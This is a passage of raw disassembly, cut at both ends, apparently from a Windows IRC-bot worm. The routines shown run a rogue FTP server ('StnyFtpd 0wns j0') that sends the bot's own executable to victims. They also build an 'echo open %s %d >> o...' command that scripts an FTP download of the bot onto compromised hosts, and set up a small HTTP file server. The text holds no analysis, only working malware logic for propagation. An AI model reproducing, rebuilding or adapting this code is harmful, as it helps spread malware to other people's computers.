eax, [ebp+var_4] push eax lea eax, [ebp+var_C0] push eax push edi call dword_4D66FC ; accept cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_40D014 cmp [ebp+var_1C], 0 jnz short loc_40D055 push 0 lea eax, [ebp+var_2C0] push [ebp+var_20] push eax lea eax, [ebp+var_A0] push eax push [ebp+var_B0] call sub_40764A add esp, 14h loc_40D055: ; CODE XREF: sub_40CE55+1DDj lea eax, [ebp+var_2C0] push eax call sub_40F927 pop ecx lea eax, [ebp+var_2C0] push 0 push 200h push eax push [ebp+arg_0] call dword_4D6680 ; recv cmp eax, 0FFFFFFFFh jz short loc_40D014 push esi push esi push dword_4D63A0 push [ebp+var_B0] call sub_408882 pop ecx push eax push offset aEchoOpenSDOEch ; "echo open %s %d >> o&echo user 1 >>o &e"... lea eax, [ebp+var_6C0] push ebx push eax call sub_417E80 add esp, 1Ch lea eax, [ebp+var_6C0] push 0 push eax call sub_414EC0 pop ecx push eax lea eax, [ebp+var_6C0] push eax push [ebp+arg_0] call dword_4D66B8 ; send cmp eax, 0FFFFFFFFh jz loc_40D014 inc dword_4D93A0 jmp loc_40D014 ; --------------------------------------------------------------------------- loc_40D0DC: ; CODE XREF: sub_40CE55+1ADj push edi call dword_4D6700 ; closesocket push [ebp+var_AC] call sub_409979 pop ecx push 0 call dword_4E03A0 ; ExitThread sub_40CE55 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D0F7 proc near ; DATA XREF: sub_40A01B+22Bo var_A70 = byte ptr -0A70h var_8E0 = byte ptr -8E0h var_6E0 = dword ptr -6E0h var_4C8 = byte ptr -4C8h var_448 = dword ptr -448h var_444 = dword ptr -444h var_43C = dword ptr -43Ch var_338 = byte ptr -338h var_2D4 = byte ptr -2D4h var_2A0 = byte ptr -2A0h var_23C = dword ptr -23Ch var_238 = dword ptr -238h var_234 = dword ptr -234h var_138 = byte ptr -138h var_128 = byte ptr -128h var_FC = byte ptr -0FCh var_C8 = byte ptr -0C8h var_B0 = byte ptr -0B0h var_4C = word ptr -4Ch var_4A = word ptr -4Ah var_48 = dword ptr -48h var_3C = byte ptr -3Ch var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A70h mov eax, [ebp+arg_0] push ebx push esi push edi xor ebx, ebx mov ecx, 0A9h mov esi, eax lea edi, [ebp+var_6E0] inc ebx rep movsd mov [eax+2A0h], ebx lea eax, [ebp+var_A70] xor esi, esi push eax push 101h mov [ebp+var_1C], ebx mov [ebp+var_2C], ebx mov [ebp+var_24], ebx mov [ebp+var_23C], esi mov [ebp+var_43C], esi call dword_4E04FC ; WSAStartup push esi push ebx push 2 call dword_4E051C ; socket mov esi, dword_4E0500 lea ecx, [ebp+var_1C] push 4 push ecx mov edi, 0FFFFh push 4 push edi push eax mov [ebp+var_8], eax call esi ; setsockopt lea eax, [ebp+var_2C] push 4 push eax push 0FFFFFFFBh push edi mov edi, [ebp+var_8] push edi call esi ; setsockopt lea eax, [ebp+var_24] push eax push 8004667Eh push edi call dword_4E052C ; ioctlsocket mov ax, word ptr dword_4D63A0 and [ebp+var_48], 0 push eax mov [ebp+var_4C], 2 call dword_4D6668 ; ntohs mov [ebp+var_4A], ax lea eax, [ebp+var_4C] push 10h push eax push edi call dword_4E0508 ; bind test eax, eax jge short loc_40D1BD mov eax, ebx jmp loc_40D708 ; --------------------------------------------------------------------------- loc_40D1BD: ; CODE XREF: sub_40D0F7+BDj push 0Ah push edi call dword_4E050C ; listen mov [ebp+var_23C], ebx mov ebx, dword_4E0520 mov [ebp+var_238], edi mov [ebp+var_4], edi loc_40D1DB: ; CODE XREF: sub_40D0F7+11Bj ; sub_40D0F7+609j push 41h lea esi, [ebp+var_23C] pop ecx lea edi, [ebp+var_43C] rep movsd xor edi, edi lea eax, [ebp+var_43C] push edi push edi push edi push eax mov eax, [ebp+var_4] inc eax push eax call dword_4E0524 ; select cmp eax, 0FFFFFFFFh jz loc_40D705 cmp [ebp+var_4], edi mov [ebp+arg_0], edi jl short loc_40D1DB loc_40D214: ; CODE XREF: sub_40D0F7+603j xor esi, esi push 64h lea eax, [ebp+var_2A0] push esi push eax call sub_417700 push 64h lea eax, [ebp+var_B0] push esi push eax call sub_417700 add esp, 18h lea eax, [ebp+var_43C] push eax push edi call sub_433746 ; __WSAFDIsSet test eax, eax jz loc_40D6F3 cmp edi, [ebp+var_8] jnz short loc_40D2BD lea eax, [ebp+var_10] mov [ebp+var_10], 10h push eax lea eax, [ebp+var_138] push eax push [ebp+var_8] call dword_4E0510 ; accept cmp eax, 0FFFFFFFFh jz loc_40D6F3 mov edx, [ebp+var_23C] xor ecx, ecx cmp edx, esi jbe short loc_40D28F loc_40D281: ; CODE XREF: sub_40D0F7+196j cmp [ebp+ecx*4+var_238], eax jz short loc_40D28F inc ecx cmp ecx, edx jb short loc_40D281 loc_40D28F: ; CODE XREF: sub_40D0F7+188j ; sub_40D0F7+191j cmp ecx, edx jnz short loc_40D2A5 cmp edx, 40h jnb short loc_40D2A5 mov [ebp+ecx*4+var_238], eax inc [ebp+var_23C] loc_40D2A5: ; CODE XREF: sub_40D0F7+19Aj ; sub_40D0F7+19Fj cmp eax, [ebp+var_4] jle short loc_40D2AD mov [ebp+var_4], eax loc_40D2AD: ; CODE XREF: sub_40D0F7+1B1j push esi push 15h push offset a220Stnyftpd0wn ; "220 StnyFtpd 0wns j0\n" push eax call ebx ; send jmp loc_40D6F3 ; --------------------------------------------------------------------------- loc_40D2BD: ; CODE XREF: sub_40D0F7+158j push esi lea eax, [ebp+var_2A0] push 64h push eax push edi call dword_4E0514 ; recv test eax, eax jg short loc_40D31A mov ecx, [ebp+var_23C] xor eax, eax cmp ecx, esi jbe short loc_40D30E loc_40D2DE: ; CODE XREF: sub_40D0F7+1F3j cmp [ebp+eax*4+var_238], edi jz short loc_40D303 inc eax cmp eax, ecx jb short loc_40D2DE jmp short loc_40D30E ; --------------------------------------------------------------------------- loc_40D2EE: ; CODE XREF: sub_40D0F7+20Fj mov ecx, [ebp+eax*4+var_234] mov [ebp+eax*4+var_238], ecx mov ecx, [ebp+var_23C] inc eax loc_40D303: ; CODE XREF: sub_40D0F7+1EEj dec ecx cmp eax, ecx jb short loc_40D2EE dec [ebp+var_23C] loc_40D30E: ; CODE XREF: sub_40D0F7+1E5j ; sub_40D0F7+1F5j push edi call dword_4E0518 ; closesocket jmp loc_40D6F3 ; --------------------------------------------------------------------------- loc_40D31A: ; CODE XREF: sub_40D0F7+1D9j lea eax, [ebp+var_338] push eax lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_2A0] push offset aSS_1 ; "%s %s" push eax call sub_419670 lea eax, [ebp+var_B0] push offset aUser_2 ; "USER" push eax call sub_418A30 add esp, 18h test eax, eax jnz short loc_40D35E push esi push 16h push offset a331PasswordReq ; "331 Password required\n" jmp loc_40D6DE ; --------------------------------------------------------------------------- loc_40D35E: ; CODE XREF: sub_40D0F7+258j lea eax, [ebp+var_B0] push offset aPass_0 ; "PASS" push eax call sub_418A30 pop ecx test eax, eax pop ecx jnz short loc_40D382 push esi push 14h push offset a230UserLoggedI ; "230 User logged in.\n" jmp loc_40D6DE ; --------------------------------------------------------------------------- loc_40D382: ; CODE XREF: sub_40D0F7+27Cj lea eax, [ebp+var_B0] push offset aSyst ; "SYST" push eax call sub_418A30 pop ecx test eax, eax pop ecx jnz short loc_40D3A6 push esi push 0Dh push offset a215Stnyftpd ; "215 StnyFtpd\n" jmp loc_40D6DE ; --------------------------------------------------------------------------- loc_40D3A6: ; CODE XREF: sub_40D0F7+2A0j lea eax, [ebp+var_B0] push offset aRest ; "REST" push eax call sub_418A30 pop ecx test eax, eax pop ecx jnz short loc_40D3CA push esi push 10h push offset a350Restarting_ ; "350 Restarting.\n" jmp loc_40D6DE ; --------------------------------------------------------------------------- loc_40D3CA: ; CODE XREF: sub_40D0F7+2C4j lea eax, [ebp+var_B0] push offset off_440C14 push eax call sub_418A30 pop ecx test eax, eax pop ecx jnz short loc_40D3EE push esi push 1Eh push offset a257IsCurrentDi ; "257 \"/\" is current directory.\n" jmp loc_40D6DE ; --------------------------------------------------------------------------- loc_40D3EE: ; CODE XREF: sub_40D0F7+2E8j lea eax, [ebp+var_B0] push offset aType ; "TYPE" push eax call sub_418A30 pop ecx test eax, eax pop ecx jnz short loc_40D429 lea eax, [ebp+var_338] push offset aA_0 ; "A" push eax call sub_418A30 pop ecx test eax, eax pop ecx jnz short loc_40D429 push esi push 13h push offset a200TypeSetToA_ ; "200 Type set to A.\n" jmp loc_40D6DE ; --------------------------------------------------------------------------- loc_40D429: ; CODE XREF: sub_40D0F7+30Cj ; sub_40D0F7+323j lea eax, [ebp+var_B0] push offset aType_0 ; "TYPE" push eax call sub_418A30 pop ecx test eax, eax pop ecx jnz short loc_40D464 lea eax, [ebp+var_338] push offset aI_0 ; "I" push eax call sub_418A30 pop ecx test eax, eax pop ecx jnz short loc_40D464 push esi push 13h push offset a200TypeSetToI_ ; "200 Type set to I.\n" jmp loc_40D6DE ; --------------------------------------------------------------------------- loc_40D464: ; CODE XREF: sub_40D0F7+347j ; sub_40D0F7+35Ej lea eax, [ebp+var_B0] push offset aPasv ; "PASV" push eax call sub_418A30 pop ecx test eax, eax pop ecx jnz short loc_40D4B2 push 0Ah mov esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"... pop ecx lea edi, [ebp+var_128] rep movsd push eax lea eax, [ebp+var_128] push eax movsw call sub_414EC0 pop ecx push eax lea eax, [ebp+var_128] loc_40D4A2: ; CODE XREF: sub_40D0F7+3FAj push eax push [ebp+arg_0] call ebx ; send mov edi, [ebp+arg_0] xor esi, esi jmp loc_40D6E1 ; --------------------------------------------------------------------------- loc_40D4B2: ; CODE XREF: sub_40D0F7+382j lea eax, [ebp+var_B0] push offset aList_0 ; "LIST" push eax call sub_418A30 pop ecx test eax, eax pop ecx jnz short loc_40D4F3 push 5 mov esi, offset a226TransferCom ; "226 Transfer complete\n" pop ecx lea edi, [ebp+var_C8] rep movsd movsw push eax lea eax, [ebp+var_C8] push eax movsb call sub_414EC0 pop ecx push eax lea eax, [ebp+var_C8] jmp short loc_40D4A2 ; --------------------------------------------------------------------------- loc_40D4F3: ; CODE XREF: sub_40D0F7+3D0j lea eax, [ebp+var_B0] push offset aPort ; "PORT" push eax call sub_418A30 pop ecx test eax, eax pop ecx jnz loc_40D5C4 lea eax, [ebp+var_2D4] push eax lea eax, [ebp+var_FC] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_28] push eax lea eax, [ebp+var_2A0] push offset aS_14 ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"... push eax call sub_419670 lea eax, [ebp+var_FC] push eax call sub_417960 mov [ebp+var_C], eax lea eax, [ebp+var_2D4] push eax call sub_417960 mov [ebp+arg_0], eax push 32h lea eax, [ebp+var_FC] push esi push eax call sub_417700 push [ebp+arg_0] lea eax, [ebp+var_FC] push [ebp+var_C] push offset aXX ; "%x%x\n" push eax call sub_417CB0 add esp, 44h lea eax, [ebp+var_FC] push 10h push esi push eax call sub_418560 mov [ebp+var_C], eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_28] push eax lea eax, [ebp+var_3C] push offset aS_S_S_S ; "%s.%s.%s.%s" push eax call sub_417CB0 add esp, 24h push esi push 1Dh push offset a200PortCommand ; "200 PORT command successful.\n" jmp loc_40D6DE ; --------------------------------------------------------------------------- loc_40D5C4: ; CODE XREF: sub_40D0F7+411j lea eax, [ebp+var_B0] push offset aRetr ; "RETR" push eax call sub_418A30 pop ecx test eax, eax pop ecx jnz loc_40D6BF push esi push 28h push offset a150OpeningBina ; "150 Opening BINARY mode data connection"... push edi call ebx ; send push [ebp+var_C] lea eax, [ebp+var_3C] push eax call sub_40D70F pop ecx cmp eax, 1 pop ecx jnz loc_40D6B5 lea eax, [ebp+var_3C] push eax lea eax, [ebp+var_8E0] push offset aFtpTransferSta ; "ftp transfer started to: %s" push eax call sub_417CB0 add esp, 0Ch cmp [ebp+var_444], esi jnz short loc_40D644 push esi lea eax, [ebp+var_8E0] push [ebp+var_448] push eax lea eax, [ebp+var_4C8] push eax push [ebp+var_6E0] call sub_40764A add esp, 14h loc_40D644: ; CODE XREF: sub_40D0F7+528j call sub_40D78C cmp eax, 1 jnz loc_40D6E1 push esi push 17h push offset a226TransferC_0 ; "226 Transfer complete.\n" push edi call ebx ; send lea eax, [ebp+var_3C] push eax lea eax, [ebp+var_8E0] push offset aFtpTransferCom ; "ftp transfer complete to: %s" push eax call sub_417CB0 add esp, 0Ch cmp [ebp+var_444], esi jnz short loc_40D6A0 push esi lea eax, [ebp+var_8E0] push [ebp+var_448] push eax lea eax, [ebp+var_4C8] push eax push [ebp+var_6E0] call sub_40764A add esp, 14h loc_40D6A0: ; CODE XREF: sub_40D0F7+584j lea eax, [ebp+var_8E0] push eax call sub_40F927 inc dword_4D9174 pop ecx jmp short loc_40D6E1 ; --------------------------------------------------------------------------- loc_40D6B5: ; CODE XREF: sub_40D0F7+504j push esi push 20h push offset a425CanTOpenDat ; "425 Can't open data connection.\n" jmp short loc_40D6DE ; --------------------------------------------------------------------------- loc_40D6BF: ; CODE XREF: sub_40D0F7+4E2j lea eax, [ebp+var_B0] push offset aQuit_1 ; "QUIT" push eax call sub_418A30 pop ecx test eax, eax pop ecx jnz short loc_40D6E1 push esi push 1Bh push offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n" loc_40D6DE: ; CODE XREF: sub_40D0F7+262j ; sub_40D0F7+286j ... push edi call ebx ; send loc_40D6E1: ; CODE XREF: sub_40D0F7+3B6j ; sub_40D0F7+555j ... push 64h lea eax, [ebp+var_2A0] push esi push eax call sub_417700 add esp, 0Ch loc_40D6F3: ; CODE XREF: sub_40D0F7+14Fj ; sub_40D0F7+178j ... inc edi cmp edi, [ebp+var_4] mov [ebp+arg_0], edi jle loc_40D214 jmp loc_40D1DB ; --------------------------------------------------------------------------- loc_40D705: ; CODE XREF: sub_40D0F7+10Fj xor eax, eax inc eax loc_40D708: ; CODE XREF: sub_40D0F7+C1j pop edi pop esi pop ebx leave retn 4 sub_40D0F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D70F proc near ; CODE XREF: sub_40D0F7+4FAp var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1A0h lea eax, [ebp+var_1A0] push eax push 101h call dword_4E04FC ; WSAStartup push 0 push 1 push 2 call dword_4E051C ; socket push [ebp+arg_0] mov dword_4D93A4, eax mov [ebp+var_10], 2 call dword_4E0504 ; inet_addr push [ebp+arg_4] mov [ebp+var_C], eax call dword_4E04F0 ; ntohs mov [ebp+var_E], ax lea eax, [ebp+var_10] push 10h push eax push dword_4D93A4 call dword_4E04F4 ; connect cmp eax, 0FFFFFFFFh jnz short loc_40D787 push dword_4D93A4 call dword_4E0518 ; closesocket call dword_4E04F8 ; WSACleanup xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40D787: ; CODE XREF: sub_40D70F+60j xor eax, eax inc eax leave retn sub_40D70F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D78C proc near ; CODE XREF: sub_40D0F7:loc_40D644p var_504 = byte ptr -504h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 504h push esi lea eax, [ebp+var_104] push 104h push eax push 0 call dword_4E0334 ; GetModuleFileNameA lea eax, [ebp+var_104] push offset aRb ; "rb" push eax call sub_4176E0 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_40D823 test byte ptr [esi+0Ch], 10h jnz short loc_40D807 push edi mov edi, 400h loc_40D7CF: ; CODE XREF: sub_40D78C+78j push esi push 1 lea eax, [ebp+var_504] push edi push eax call sub_4173D0 add esp, 10h lea eax, [ebp+var_504] push 0 push edi push eax push dword_4D93A4 call dword_4E0520 ; send push 1 call dword_4E033C ; Sleep test byte ptr [esi+0Ch], 10h jz short loc_40D7CF pop edi loc_40D807: ; CODE XREF: sub_40D78C+3Bj push esi call sub_414F40 pop ecx push dword_4D93A4 call dword_4E0518 ; closesocket call dword_4E04F8 ; WSACleanup xor eax, eax inc eax loc_40D823: ; CODE XREF: sub_40D78C+35j pop esi leave retn sub_40D78C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D826 proc near ; DATA XREF: sub_401C87+1E67o ; sub_40A01B+46Co var_28F0 = byte ptr -28F0h var_18F0 = byte ptr -18F0h var_8F0 = byte ptr -8F0h var_6F0 = byte ptr -6F0h var_5EC = dword ptr -5ECh var_5E8 = byte ptr -5E8h var_360 = byte ptr -360h var_25C = dword ptr -25Ch var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = dword ptr -248h var_23C = byte ptr -23Ch var_138 = byte ptr -138h var_128 = dword ptr -128h var_124 = dword ptr -124h var_120 = dword ptr -120h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 28F0h call sub_4181D0 mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_5EC] xor ebx, ebx rep movsd xor esi, esi push 10h inc esi push ebx mov [eax+3ACh], esi lea eax, [ebp+var_24] push eax mov [ebp+var_14], esi call sub_417700 add esp, 0Ch mov [ebp+var_24], 2 push [ebp+var_25C] call dword_4D6668 ; ntohs push ebx push esi push 2 mov [ebp+var_22], ax mov [ebp+var_20], ebx call dword_4D66E8 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_8], edi jz loc_40DBF2 mov eax, [ebp+var_254] push 10h imul eax, 234h mov dword_4495AC[eax], edi lea eax, [ebp+var_24] push eax push edi call dword_4D6694 ; bind cmp eax, 0FFFFFFFFh jz loc_40DBF2 push 7FFFFFFFh push edi call dword_4D6690 ; listen cmp eax, 0FFFFFFFFh jz loc_40DBF2 lea eax, [ebp+var_14] push eax push 8004667Eh push edi call dword_4D6704 ; ioctlsocket cmp eax, 0FFFFFFFFh jz loc_40DBF2 mov ebx, esi mov [ebp+var_124], edi mov [ebp+var_128], ebx mov [ebp+var_4], edi loc_40D8FD: ; CODE XREF: sub_40D826+3C2j push 41h xor eax, eax pop ecx lea esi, [ebp+var_128] push eax push eax push eax lea eax, [ebp+var_6F0] push eax mov eax, [ebp+var_4] lea edi, [ebp+var_6F0] inc eax rep movsd push eax call dword_4D6650 ; select cmp eax, 0FFFFFFFFh jz loc_40DBED xor edi, edi mov [ebp+arg_0], edi loc_40D933: ; CODE XREF: sub_40D826+3BCj lea eax, [ebp+var_6F0] push eax push edi call dword_4D6554 ; __WSAFDIsSet test eax, eax jz loc_40DBD8 cmp edi, [ebp+var_8] jnz short loc_40D9B4 lea eax, [ebp+var_C] mov [ebp+var_C], 10h push eax lea eax, [ebp+var_138] push eax push [ebp+var_8] call dword_4D66FC ; accept cmp eax, 0FFFFFFFFh jz loc_40DBD8 xor ecx, ecx test ebx, ebx jbe short loc_40D986 loc_40D978: ; CODE XREF: sub_40D826+15Ej cmp [ebp+ecx*4+var_124], eax jz short loc_40D986 inc ecx cmp ecx, ebx jb short loc_40D978 loc_40D986: ; CODE XREF: sub_40D826+150j ; sub_40D826+159j cmp ecx, ebx jnz short loc_40D9A3 cmp ebx, 40h jnb short loc_40D9A3 mov [ebp+ecx*4+var_124], eax mov ebx, [ebp+var_128] inc ebx mov [ebp+var_128], ebx loc_40D9A3: ; CODE XREF: sub_40D826+162j ; sub_40D826+167j cmp eax, [ebp+var_4] jbe loc_40DBD8 mov [ebp+var_4], eax jmp loc_40DBD8 ; --------------------------------------------------------------------------- loc_40D9B4: ; CODE XREF: sub_40D826+126j mov esi, 1000h lea eax, [ebp+var_28F0] push esi push 0 push eax call sub_417700 push esi lea eax, [ebp+var_18F0] push 0 push eax call sub_417700 add esp, 18h lea eax, [ebp+var_28F0] push 0 push esi push eax push edi call dword_4D6680 ; recv test eax, eax jg short loc_40DA3B push edi call dword_4D6700 ; closesocket xor eax, eax test ebx, ebx jbe loc_40DBD8 loc_40DA00: ; CODE XREF: sub_40D826+1E6j cmp [ebp+eax*4+var_124], edi jz short loc_40DA28 inc eax cmp eax, ebx jb short loc_40DA00 jmp loc_40DBD8 ; --------------------------------------------------------------------------- loc_40DA13: ; CODE XREF: sub_40D826+207j mov ecx, [ebp+eax*4+var_120] mov [ebp+eax*4+var_124], ecx mov ebx, [ebp+var_128] inc eax loc_40DA28: ; CODE XREF: sub_40D826+1E1j lea ecx, [ebx-1] cmp eax, ecx jb short loc_40DA13 dec ebx mov [ebp+var_128], ebx jmp loc_40DBD8 ; --------------------------------------------------------------------------- loc_40DA3B: ; CODE XREF: sub_40D826+1C7j xor esi, esi push 104h lea eax, [ebp+var_23C] push esi push eax call sub_417700 lea eax, [ebp+var_28F0] xor edi, edi push eax call sub_414EC0 add esp, 10h test eax, eax jbe loc_40DBD8 loc_40DA68: ; CODE XREF: sub_40D826+2FFj mov al, [ebp+edi+var_28F0] cmp al, 0Ah mov [ebp+esi+var_18F0], al jnz loc_40DB14 lea eax, [ebp+var_18F0] push offset aGet_0 ; "GET " push eax call sub_417E00 pop ecx test eax, eax pop ecx jz short loc_40DAE4 lea eax, [ebp+var_18F0] push eax call sub_414EC0 cmp eax, 5 pop ecx jbe short loc_40DAE4 push offset asc_440E06 ; " " push offset asc_440E08 ; " " lea eax, [ebp+var_18F0] push offset aGet_1 ; "GET " push eax call sub_417E00 pop ecx pop ecx push eax call sub_417E00 pop ecx pop ecx push eax call sub_418AC0 push eax lea eax, [ebp+var_23C] push eax call sub_418870 add esp, 10h jmp short loc_40DAFB ; --------------------------------------------------------------------------- loc_40DAE4: ; CODE XREF: sub_40D826+26Dj ; sub_40D826+27Fj lea eax, [ebp+var_18F0] push offset asc_440E14 ; "\r\n" push eax call sub_418A30 pop ecx test eax, eax pop ecx jz short loc_40DB30 loc_40DAFB: ; CODE XREF: sub_40D826+2BCj push 1000h lea eax, [ebp+var_18F0] push 0 push eax call sub_417700 add esp, 0Ch or esi, 0FFFFFFFFh loc_40DB14: ; CODE XREF: sub_40D826+252j lea eax, [ebp+var_28F0] inc edi push eax inc esi call sub_414EC0 cmp edi, eax pop ecx jb loc_40DA68 jmp loc_40DBD8 ; --------------------------------------------------------------------------- loc_40DB30: ; CODE XREF: sub_40D826+2D3j xor eax, eax test ebx, ebx jbe short loc_40DB6C loc_40DB36: ; CODE XREF: sub_40D826+31Fj mov ecx, [ebp+eax*4+var_124] cmp ecx, [ebp+arg_0] jz short loc_40DB5E inc eax cmp eax, ebx jb short loc_40DB36 jmp short loc_40DB6C ; --------------------------------------------------------------------------- loc_40DB49: ; CODE XREF: sub_40D826+33Dj mov ecx, [ebp+eax*4+var_120] mov [ebp+eax*4+var_124], ecx mov ebx, [ebp+var_128] inc eax loc_40DB5E: ; CODE XREF: sub_40D826+31Aj lea ecx, [ebx-1] cmp eax, ecx jb short loc_40DB49 dec ebx mov [ebp+var_128], ebx loc_40DB6C: ; CODE XREF: sub_40D826+30Ej ; sub_40D826+321j lea eax, [ebp+var_360] push eax call sub_414EC0 mov esi, eax lea eax, [ebp+var_23C] push eax call sub_414EC0 add esi, eax pop ecx cmp esi, 104h pop ecx jnb short loc_40DBCF and [ebp+var_10], 0 lea eax, [ebp+var_10] push eax push 8004667Eh push [ebp+arg_0] call dword_4D6704 ; ioctlsocket push [ebp+var_254] lea eax, [ebp+var_23C] push [ebp+var_248] push eax lea eax, [ebp+var_360] push eax push [ebp+arg_0] call sub_40DDDE add esp, 14h jmp short loc_40DBD8 ; --------------------------------------------------------------------------- loc_40DBCF: ; CODE XREF: sub_40D826+36Aj push [ebp+arg_0] call dword_4D6700 ; closesocket loc_40DBD8: ; CODE XREF: sub_40D826+11Dj ; sub_40D826+146j ... mov edi, [ebp+arg_0] inc edi cmp edi, [ebp+var_4] mov [ebp+arg_0], edi jbe loc_40D933 jmp loc_40D8FD ; --------------------------------------------------------------------------- loc_40DBED: ; CODE XREF: sub_40D826+102j mov edi, [ebp+var_8] xor ebx, ebx loc_40DBF2: ; CODE XREF: sub_40D826+6Aj ; sub_40D826+92j ... call dword_4D65FC ; WSAGetLastError push eax lea eax, [ebp+var_8F0] push offset unk_440E18 push eax call sub_417CB0 add esp, 0Ch cmp [ebp+var_24C], ebx jnz short loc_40DC38 push ebx lea eax, [ebp+var_8F0] push [ebp+var_250] push eax lea eax, [ebp+var_5E8] push eax push [ebp+var_5EC] call sub_40764A add esp, 14h loc_40DC38: ; CODE XREF: sub_40D826+3EDj lea eax, [ebp+var_8F0] push eax call sub_40F927 pop ecx push edi call dword_4D6700 ; closesocket push [ebp+var_254] call sub_409979 pop ecx push ebx call dword_4E03A0 ; ExitThread pop edi pop esi pop ebx sub_40D826 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DC62 proc near ; DATA XREF: sub_40DDDE+245o var_1654 = byte ptr -1654h var_654 = byte ptr -654h var_550 = byte ptr -550h var_44C = dword ptr -44Ch var_3C8 = byte ptr -3C8h var_2C4 = byte ptr -2C4h var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_A4 = dword ptr -0A4h var_9C = byte ptr -9Ch var_68 = byte ptr -68h var_20 = byte ptr -20h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1654h call sub_4181D0 mov eax, [ebp+arg_0] push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_44C] rep movsd mov dword ptr [eax+3ACh], 1 lea eax, [ebp+var_3C8] push eax lea eax, [ebp+var_550] push eax call sub_417CB0 lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_654] push eax call sub_417CB0 xor edi, edi add esp, 10h cmp [ebp+var_A4], edi lea eax, [ebp+var_9C] jz short loc_40DCCD push offset aTextHtml ; "text/html" jmp short loc_40DCD2 ; --------------------------------------------------------------------------- loc_40DCCD: ; CODE XREF: sub_40DC62+62j push offset aApplicationOct ; "application/octet-stream" loc_40DCD2: ; CODE XREF: sub_40DC62+69j push eax call sub_417CB0 pop ecx lea eax, [ebp+var_68] pop ecx mov esi, 409h push 46h push eax push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy" push edi push edi push esi call dword_4E03D0 ; GetDateFormatA lea eax, [ebp+var_20] push 1Eh push eax push offset aHhMmSs ; "HH:mm:ss" push edi push edi push esi call dword_4E03CC ; GetTimeFormatA lea eax, [ebp+var_20] cmp [ebp+var_B8], 0FFFFFFFFh push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_9C] jnz short loc_40DD45 push eax lea eax, [ebp+var_1654] push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_417CB0 add esp, 24h jmp short loc_40DD60 ; --------------------------------------------------------------------------- loc_40DD45: ; CODE XREF: sub_40DC62+CAj push [ebp+var_B8] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_417CB0 add esp, 28h loc_40DD60: ; CODE XREF: sub_40DC62+E1j lea eax, [ebp+var_1654] push edi push eax call sub_414EC0 pop ecx push eax lea eax, [ebp+var_1654] push eax push [ebp+var_44C] call dword_4D66B8 ; send cmp [ebp+var_A4], edi jnz short loc_40DDA0 lea eax, [ebp+var_550] push eax push [ebp+var_44C] call sub_40E70E pop ecx pop ecx jmp short loc_40DDBD ; --------------------------------------------------------------------------- loc_40DDA0: ; CODE XREF: sub_40DC62+126j lea eax, [ebp+var_654] push eax push edi push [ebp+var_44C] lea eax, [ebp+var_550] push eax call sub_40E08D add esp, 10h loc_40DDBD: ; CODE XREF: sub_40DC62+13Cj push [ebp+var_44C] call dword_4D6700 ; closesocket push [ebp+var_B4] call sub_409979 pop ecx push edi call dword_4E03A0 ; ExitThread pop edi pop esi sub_40DC62 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DDDE proc near ; CODE XREF: sub_40D826+39Fp var_8C4 = byte ptr -8C4h var_6C4 = dword ptr -6C4h var_640 = byte ptr -640h var_53C = byte ptr -53Ch var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_31C = dword ptr -31Ch var_318 = dword ptr -318h var_314 = byte ptr -314h var_211 = byte ptr -211h var_210 = byte ptr -210h var_10C = byte ptr -10Ch var_10B = byte ptr -10Bh var_10A = byte ptr -10Ah var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 8C4h push ebx push esi push edi xor edi, edi push 104h lea eax, [ebp+var_210] push edi push eax mov [ebp+var_4], edi call 